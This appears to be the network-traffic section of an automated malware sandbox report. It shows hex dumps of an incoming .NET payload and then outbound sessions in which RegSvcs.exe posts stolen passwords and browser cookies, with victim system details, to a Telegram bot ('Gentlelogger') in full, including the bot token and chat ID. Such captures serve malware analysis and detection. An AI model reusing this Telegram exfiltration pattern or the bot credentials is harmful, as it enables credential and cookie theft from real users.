2022-08-08 15:18:10 UTC	34	IN	Data Raw: 00 54 00 77 00 41 00 44 00 51 00 70 00 41 00 6d 00 59 00 7a 00 4b 00 72 00 7a 00 6b 00 50 00 67 00 77 00 4a 00 42 00 4d 00 64 00 6f 00 57 00 52 00 47 00 6e 00 53 00 4a 00 59 00 67 00 67 00 54 00 50 00 58 00 63 00 43 00 6b 00 65 00 6e 00 72 00 65 00 79 00 6e 00 4c 00 74 00 77 00 64 00 46 00 42 00 6f 00 6a 00 6f 00 54 00 68 00 6c 00 4a 00 6a 00 4e 00 4d 00 51 00 53 00 55 00 48 00 4a 00 62 00 79 00 51 00 67 00 51 00 41 00 63 00 46 00 55 00 52 00 6b 00 7a 00 72 00 51 00 45 00 49 00 6b 00 48 00 41 00 72 00 6c 00 54 00 77 00 41 00 44 00 51 00 70 00 41 00 6d 00 59 00 7a 00 4b 00 72 00 7a 00 6b 00 50 00 67 00 77 00 4a 00 42 00 4d 00 64 00 6f 00 57 00 52 00 47 00 6e 00 53 00 4a 00 59 00 67 00 67 00 54 00 50 00 58 00 63 00 43 00 6b 00 6b 00 00 80 a3 79 00 6e 00 4c Data Ascii: TwADQpAmYzKrzkPgwJBMdoWRGnSJYggTPXcCkenreynLtwdFBojoThlJjNMQSUHJbyQgQAcFURkzrQEIkHArlTwADQpAmYzKrzkPgwJBMdoWRGnSJYggTPXcCkkynL
2022-08-08 15:18:10 UTC	36	IN	Data Raw: 51 00 72 00 62 00 71 00 79 00 42 00 43 00 64 00 4c 00 50 00 74 00 55 00 55 00 77 00 6b 00 43 00 55 00 76 00 52 00 76 00 4a 00 50 00 54 00 6f 00 4f 00 53 00 47 00 50 00 50 00 65 00 74 00 61 00 7a 00 6b 00 71 00 72 00 67 00 4a 00 47 00 6b 00 6c 00 6e 00 44 00 67 00 45 00 49 00 69 00 4a 00 77 00 66 00 73 00 5a 00 50 00 58 00 50 00 73 00 70 00 79 00 67 00 50 00 55 00 4e 00 6e 00 69 00 6a 00 54 00 46 00 6a 00 4e 00 65 00 46 00 45 00 4b 00 52 00 45 00 41 00 75 00 6a 00 69 00 65 00 64 00 58 00 4d 00 73 00 69 00 51 00 72 00 62 00 71 00 79 00 42 00 43 00 64 00 4c 00 50 00 74 00 55 00 55 00 77 00 6b 00 43 00 55 00 76 00 52 00 76 00 4a 00 50 00 54 00 6f 00 4f 00 53 00 47 00 50 00 65 00 72 00 43 00 7a 00 6b 00 71 00 72 00 67 00 4a 00 47 00 6b 00 6c 00 6e 00 44 00 67 Data Ascii: QrbqyBCdLPtUUwkCUvRvJPToOSGPPetazkqrgJGklnDgEIiJwfsZPXPspygPUNnijTFjNeFEKREAujiedXMsiQrbqyBCdLPtUUwkCUvRvJPToOSGPerCzkqrgJGklnDg
2022-08-08 15:18:10 UTC	37	IN	Data Raw: 00 68 00 46 00 41 00 4f 00 44 00 6d 00 62 00 46 00 64 00 4b 00 59 00 44 00 6c 00 46 00 76 00 65 00 47 00 00 80 a3 58 00 47 00 52 00 41 00 50 00 56 00 53 00 78 00 79 00 4f 00 6a 00 63 00 58 00 62 00 54 00 42 00 4b 00 41 00 5a 00 48 00 53 00 63 00 65 00 78 00 75 00 53 00 74 00 42 00 74 00 49 00 77 00 67 00 76 00 6d 00 61 00 45 00 54 00 73 00 5a 00 55 00 64 00 49 00 59 00 62 00 4c 00 4b 00 58 00 43 00 51 00 52 00 64 00 4f 00 4e 00 55 00 53 00 76 00 63 00 70 00 61 00 53 00 77 00 52 00 44 00 71 00 52 00 44 00 68 00 46 00 41 00 4f 00 44 00 6d 00 62 00 46 00 64 00 4b 00 59 00 44 00 6c 00 46 00 76 00 00 82 a9 74 00 78 00 4c 00 46 00 77 00 65 00 69 00 6e 00 61 00 55 00 41 00 78 00 79 00 52 00 63 00 74 00 4d 00 45 00 68 00 4a 00 64 00 63 00 6e 00 42 00 58 00 4f 00 Data Ascii: hFAODmbFdKYDlFveGXGRAPVSxyOjcXbTBKAZHScexuStBtIwgvmaETsZUdIYbLKXCQRdONUSvcpaSwRDqRDhFAODmbFdKYDlFvtxLFweinaUAxyRctMEhJdcnBXO
2022-08-08 15:18:10 UTC	38	IN	Data Raw: 42 00 4a 00 74 00 4b 00 51 00 43 00 57 00 65 00 6f 00 43 00 64 00 61 00 65 00 77 00 50 00 59 00 41 00 67 00 52 00 4e 00 6b 00 76 00 7a 00 74 00 73 00 63 00 46 00 72 00 74 00 4e 00 4f 00 7a 00 74 00 4f 00 58 00 52 00 48 00 56 00 48 00 50 00 48 00 45 00 64 00 52 00 59 00 53 00 48 00 44 00 55 00 6f 00 63 00 4d 00 79 00 6a 00 70 00 4e 00 41 00 61 00 79 00 79 00 49 00 65 00 65 00 6e 00 72 00 65 00 53 00 76 00 59 00 79 00 51 00 41 00 59 00 43 00 47 00 42 00 52 00 43 00 55 00 61 00 70 00 42 00 57 00 61 00 46 00 57 00 42 00 4a 00 74 00 4b 00 51 00 43 00 57 00 65 00 72 00 68 00 54 00 74 00 65 00 47 00 77 00 50 00 59 00 41 00 67 00 52 00 4e 00 6b 00 76 00 7a 00 74 00 73 00 63 00 46 00 72 00 74 00 4e 00 4f 00 7a 00 74 00 4f 00 58 00 52 00 48 00 56 00 48 00 50 00 48 Data Ascii: BJtKQCWeoCdaewPYAgRNkvztscFrtNOztOXRHVHPHEdRYSHDUocMyjpNAayyIeenreSvYyQAYCGBRCUapBWaFWBJtKQCWerhTteGwPYAgRNkvztscFrtNOztOXRHVHPH
2022-08-08 15:18:10 UTC	40	IN	Data Raw: 00 56 00 5a 00 6d 00 74 00 65 00 53 00 34 00 36 00 63 00 78 00 76 00 4c 00 5a 00 50 00 41 00 68 00 65 00 72 00 58 00 78 00 6f 00 52 00 64 00 4a 00 51 00 53 00 46 00 58 00 49 00 47 00 49 00 45 00 68 00 56 00 64 00 49 00 42 00 4f 00 68 00 6a 00 64 00 75 00 5a 00 64 00 47 00 47 00 64 00 61 00 61 00 49 00 72 00 7a 00 44 00 64 00 44 00 46 00 42 00 45 00 50 00 53 00 77 00 55 00 56 00 56 00 6f 00 71 00 64 00 5a 00 6c 00 4d 00 67 00 6c 00 4b 00 6e 00 54 00 4f 00 72 00 7a 00 44 00 4a 00 4b 00 41 00 53 00 41 00 6a 00 64 00 56 00 5a 00 6d 00 77 00 6f 00 57 00 00 80 a3 63 00 78 00 76 00 4c 00 5a 00 50 00 41 00 68 00 65 00 72 00 58 00 78 00 6f 00 52 00 64 00 4a 00 51 00 53 00 46 00 58 00 49 00 47 00 49 00 45 00 68 00 56 00 64 00 49 00 42 00 4f 00 68 00 6a 00 64 00 75 Data Ascii: VZmteS46cxvLZPAherXxoRdJQSFXIGIEhVdIBOhjduZdGGdaaIrzDdDFBEPSwUVVoqdZlMglKnTOrzDJKASAjdVZmwoWcxvLZPAherXxoRdJQSFXIGIEhVdIBOhjdu
2022-08-08 15:18:10 UTC	41	IN	Data Raw: 6f 00 6d 00 65 00 4d 00 69 00 6e 00 52 00 64 00 57 00 6a 00 49 00 4b 00 75 00 4c 00 6e 00 76 00 6e 00 52 00 44 00 47 00 41 00 4d 00 45 00 46 00 71 00 48 00 6d 00 4b 00 71 00 4f 00 56 00 6c 00 7a 00 58 00 69 00 4e 00 77 00 6c 00 55 00 6f 00 48 00 4b 00 77 00 41 00 6d 00 47 00 66 00 47 00 50 00 4d 00 47 00 54 00 51 00 4d 00 6c 00 56 00 54 00 4b 00 41 00 61 00 42 00 47 00 6d 00 64 00 4f 00 57 00 66 00 58 00 64 00 76 00 79 00 43 00 53 00 50 00 79 00 4c 00 50 00 44 00 54 00 6a 00 78 00 42 00 50 00 79 00 49 00 73 00 73 00 69 00 6e 00 52 00 64 00 57 00 6a 00 49 00 4b 00 75 00 4c 00 6e 00 76 00 6e 00 52 00 44 00 47 00 41 00 4d 00 45 00 46 00 71 00 48 00 6d 00 4b 00 71 00 4f 00 56 00 6c 00 7a 00 58 00 69 00 4e 00 77 00 6c 00 55 00 6f 00 48 00 4b 00 77 00 41 00 6d Data Ascii: omeMinRdWjIKuLnvnRDGAMEFqHmKqOVlzXiNwlUoHKwAmGfGPMGTQMlVTKAaBGmdOWfXdvyCSPyLPDTjxBPyIssinRdWjIKuLnvnRDGAMEFqHmKqOVlzXiNwlUoHKwAm
2022-08-08 15:18:10 UTC	42	IN	Data Raw: 00 74 00 4e 00 42 00 71 00 6d 00 47 00 68 00 74 00 48 00 46 00 74 00 48 00 42 00 58 00 6f 00 6c 00 6b 00 76 00 64 00 63 00 55 00 4f 00 44 00 42 00 41 00 6a 00 76 00 46 00 51 00 4c 00 52 00 79 00 41 00 4c 00 49 00 56 00 68 00 42 00 4f 00 51 00 51 00 42 00 4d 00 53 00 74 00 64 00 53 00 6e 00 77 00 6d 00 45 00 49 00 54 00 74 00 76 00 6b 00 45 00 41 00 70 00 59 00 66 00 63 00 64 00 51 00 6f 00 50 00 48 00 70 00 6a 00 54 00 5a 00 69 00 43 00 4e 00 4c 00 6e 00 42 00 46 00 63 00 73 00 51 00 49 00 65 00 00 80 a3 42 00 71 00 6d 00 47 00 68 00 74 00 48 00 46 00 74 00 48 00 42 00 58 00 6f 00 6c 00 6b 00 76 00 64 00 63 00 55 00 4f 00 44 00 42 00 41 00 6a 00 76 00 46 00 51 00 4c 00 52 00 79 00 41 00 4c 00 49 00 56 00 68 00 42 00 4f 00 51 00 51 00 42 00 4d 00 53 00 74 Data Ascii: tNBqmGhtHFtHBXolkvdcUODBAjvFQLRyALIVhBOQQBMStdSnwmEITtvkEApYfcdQoPHpjTZiCNLnBFcsQIeBqmGhtHFtHBXolkvdcUODBAjvFQLRyALIVhBOQQBMSt
2022-08-08 15:18:10 UTC	44	IN	Data Raw: 42 00 6c 00 51 00 71 00 50 00 44 00 65 00 48 00 76 00 56 00 70 00 77 00 52 00 77 00 71 00 47 00 66 00 6c 00 76 00 4a 00 6e 00 46 00 44 00 51 00 4c 00 5a 00 47 00 53 00 47 00 69 00 46 00 4c 00 48 00 68 00 72 00 75 00 48 00 58 00 41 00 48 00 6f 00 63 00 74 00 70 00 73 00 58 00 51 00 77 00 61 00 4c 00 6f 00 7a 00 49 00 4e 00 70 00 52 00 68 00 55 00 66 00 4b 00 53 00 68 00 57 00 4d 00 6b 00 65 00 6f 00 45 00 46 00 51 00 72 00 68 00 54 00 4e 00 7a 00 4e 00 59 00 51 00 53 00 55 00 6c 00 6a 00 57 00 63 00 42 00 6c 00 51 00 71 00 50 00 44 00 65 00 48 00 76 00 56 00 70 00 77 00 52 00 77 00 71 00 47 00 66 00 6c 00 76 00 4a 00 6e 00 46 00 44 00 51 00 4c 00 5a 00 47 00 53 00 47 00 69 00 46 00 4c 00 48 00 68 00 72 00 75 00 48 00 58 00 41 00 48 00 6f 00 63 00 74 00 70 Data Ascii: BlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQrhTNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctp
2022-08-08 15:18:10 UTC	45	IN	Data Raw: 01 01 1e 00 1e 00 04 07 01 1e 00 07 30 01 01 01 10 1e 00 07 20 04 01 0e 0e 0e 0e 61 01 00 34 53 79 73 74 65 6d 2e 57 65 62 2e 53 65 72 76 69 63 65 73 2e 50 72 6f 74 6f 63 6f 6c 73 2e 53 6f 61 70 48 74 74 70 43 6c 69 65 6e 74 50 72 6f 74 6f 63 6f 6c 12 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 13 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 00 07 06 15 12 71 01 13 00 09 07 04 13 00 13 00 13 00 02 06 15 12 18 01 13 00 06 15 12 71 01 13 00 02 13 00 04 0a 01 13 00 05 20 01 01 13 00 04 28 00 13 00 04 20 01 01 02 05 01 00 00 00 00 0c 07 04 0e 12 79 15 12 7d 01 12 79 02 07 15 12 80 81 01 12 79 08 20 00 15 12 7d 01 13 00 06 15 12 7d 01 12 79 03 20 00 02 0a 00 01 0e 15 12 80 81 01 12 79 0b 07 03 12 79 15 12 7d 01 12 79 02 0b 00 02 01 Data Ascii: 0 a4System.Web.Services.Protocols.SoapHttpClientProtocolCreate__Instance__Dispose__Instance__qq ( y}yy }}y yy}y
2022-08-08 15:18:10 UTC	46	IN	Data Raw: 80 ed 18 08 08 08 08 12 80 f1 1c 08 20 05 08 18 08 08 08 08 0a 20 03 12 80 ed 18 12 80 f1 1c 04 20 01 08 18 02 06 09 03 06 1d 05 02 1e 24 04 06 12 80 f9 04 06 12 80 fd 09 07 03 12 80 f9 12 80 f9 02 05 00 02 02 1c 1c 05 20 00 12 81 01 07 20 02 01 0e 12 81 01 05 00 00 12 80 f9 05 07 01 12 80 fd 05 00 00 12 80 fd 06 00 01 01 12 80 fd 05 08 00 12 80 f9 08 01 00 02 00 00 00 00 00 05 08 00 12 80 fd 40 01 00 33 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 2e 54 6f 6f 6c 73 2e 53 74 72 6f 6e 67 6c 79 54 79 70 65 64 52 65 73 6f 75 72 63 65 42 75 69 6c 64 65 72 07 34 2e 30 2e 30 2e 30 00 00 03 06 12 60 08 00 01 12 81 09 12 81 09 04 07 01 12 60 04 00 00 12 60 04 08 00 12 60 59 01 00 4b 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 53 74 75 64 69 6f 2e 45 64 69 Data Ascii: $ @3System.Resources.Tools.StronglyTypedResourceBuilder4.0.0.0````YKMicrosoft.VisualStudio.Edi
2022-08-08 15:18:10 UTC	48	IN	Data Raw: 00 00 00 01 00 00 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 c8 01 00 00 18 e5 00 00 28 01 00 00 00 00 00 00 00 00 00 00 40 e6 00 00 68 05 00 00 00 00 00 00 00 00 00 00 a8 eb 00 00 68 04 00 00 00 00 00 00 00 00 00 00 10 f0 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 f8 f2 00 00 a8 08 00 00 00 00 00 00 00 00 00 00 a0 fb 00 00 a8 10 00 00 00 00 00 00 00 00 00 00 48 0c 01 00 5a 00 00 00 00 00 00 00 00 00 00 00 d8 e1 00 00 40 03 00 00 00 00 Data Ascii: x(@hhHZ@
2022-08-08 15:18:10 UTC	49	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 42 42 42 00 f1 ef f0 00 f6 f6 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ( BBB
2022-08-08 15:18:10 UTC	50	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff Data Ascii: ( @BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
2022-08-08 15:18:10 UTC	52	IN	Data Raw: 77 77 77 77 77 77 77 77 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 77 77 77 Data Ascii: wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
2022-08-08 15:18:10 UTC	53	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-08 15:18:10 UTC	57	IN	Data Raw: 42 42 42 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 Data Ascii: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-08 15:18:22 UTC	60	OUT	POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8da7964e1c1748c Host: api.telegram.org Content-Length: 1028 Expect: 100-continue Connection: Keep-Alive
2022-08-08 15:18:22 UTC	60	IN	HTTP/1.1 100 Continue
2022-08-08 15:18:22 UTC	60	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 34 65 31 63 31 37 34 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 36 32 34 38 33 34 36 34 31 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 34 65 31 63 31 37 34 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 41 6c 62 75 73 2f 34 37 32 38 34 37 0a 4f 53 46 75 6c 6c Data Ascii: -----------------------------8da7964e1c1748cContent-Disposition: form-data; name="chat_id"-624834641-----------------------------8da7964e1c1748cContent-Disposition: form-data; name="caption"New PW Recovered!User Name: user/472847OSFull
2022-08-08 15:18:22 UTC	61	OUT	Data Raw: 2d 2d 0d 0a Data Ascii: --
2022-08-08 15:18:22 UTC	61	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 08 Aug 2022 15:18:22 GMT Content-Type: application/json Content-Length: 646 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":1838,"from":{"id":5520247480,"is_bot":true,"first_name":"Gentlelogger","username":"gentlelogger_bot"},"chat":{"id":-624834641,"title":"Result Panel","type":"group","all_members_are_administrators":true},"date":1659971902,"document":{"file_name":"user-472847 2022-08-08 05-38-01.html","mime_type":"text/html","file_id":"BQACAgEAAxkDAAIHLmLxKT7h2SR9JzZb1ypbKqN9_gc6AAI7AwACOBiIR4whHSkIvQUEKQQ","file_unique_id":"AgADOwMAAjgYiEc","file_size":449},"caption":"New PW Recovered!\n\nUser Name: user/472847\nOSFullName: Microsoft Windows 7 Professional \nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49176	149.154.167.220	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-08 15:18:23 UTC	62	OUT	POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8da7966a100275c Host: api.telegram.org Content-Length: 5245 Expect: 100-continue
2022-08-08 15:18:23 UTC	62	IN	HTTP/1.1 100 Continue
2022-08-08 15:18:23 UTC	62	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 36 61 31 30 30 32 37 35 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 36 32 34 38 33 34 36 34 31 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 36 61 31 30 30 32 37 35 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 43 6f 6f 6b 69 65 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 41 6c 62 75 73 2f 34 37 32 38 34 37 0a 4f 53 Data Ascii: -----------------------------8da7966a100275cContent-Disposition: form-data; name="chat_id"-624834641-----------------------------8da7966a100275cContent-Disposition: form-data; name="caption"New Cookie Recovered!User Name: user/472847OS
2022-08-08 15:18:23 UTC	63	OUT	Data Raw: 4e 3c b6 2a 97 a2 6c 56 8b 79 d9 f8 4a 33 4e 8f 12 37 1a 09 f2 09 17 ce c5 49 83 b3 e7 71 95 58 8c 6a be 32 25 5e 8f 29 98 4e 6c 84 9d 34 91 14 61 a1 9e d6 d0 66 37 59 ed 26 6a fc 50 46 b5 21 2c 46 fb 32 1b 45 64 19 1e 84 26 2a 3e 21 ea 61 75 40 80 9c a4 63 48 32 6b df 27 5e 23 48 21 c7 48 ab c3 6e 24 0c a4 31 97 28 78 4a d3 50 79 8a 56 93 94 a2 c2 64 23 77 4c 8e 31 37 49 8e 31 f7 20 30 30 9b e5 e2 eb ed cd 5a 1d 32 9c 17 05 04 85 33 07 fb 91 8c 60 4a 64 cc bd 8e 4f d0 c6 a6 2a 75 d1 6a e5 a8 9e 9c d7 4f d4 69 16 28 75 69 d8 2b aa 34 39 f6 60 62 a3 9a 07 06 b0 f9 be 91 de 4f ca 67 a6 07 83 82 79 e5 d0 c9 2a 60 32 96 59 d4 73 d0 63 08 fa 1d 7a 0c 3d f3 0b 3c 71 00 00 00 00 00 00 00 00 00 78 76 93 47 4e dc 05 1c 89 78 29 b3 6d 62 b5 28 66 f8 0b 39 91 e2 e1 Data Ascii: N<lVyJ3N7IqXj2%^)Nl4af7Y&jPF!,F2Ed&>!au@cH2k'^#H!Hn$1(xJPyVd#wL17I1 00Z23`JdOujOi(ui+49`bOgy`2Yscz=<qxvGNx)mb(f9
2022-08-08 15:18:23 UTC	67	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 36 61 31 30 30 32 37 35 63 2d 2d 0d 0a Data Ascii: -----------------------------8da7966a100275c--
2022-08-08 15:18:24 UTC	67	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 08 Aug 2022 15:18:24 GMT Content-Type: application/json Content-Length: 656 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":1839,"from":{"id":5520247480,"is_bot":true,"first_name":"Gentlelogger","username":"gentlelogger_bot"},"chat":{"id":-624834641,"title":"Result Panel","type":"group","all_members_are_administrators":true},"date":1659971904,"document":{"file_name":"user-472847 2022-08-08 05-51-02.zip","mime_type":"application/zip","file_id":"BQACAgEAAxkDAAIHL2LxKUDRDZJtO8q-U9Z2CDFgNEHIAAI8AwACOBiIR1lYYoNu0-ReKQQ","file_unique_id":"AgADPAMAAjgYiEc","file_size":4657},"caption":"New Cookie Recovered!\n\nUser Name: user/472847\nOSFullName: Microsoft Windows 7 Professional \nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49177	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data
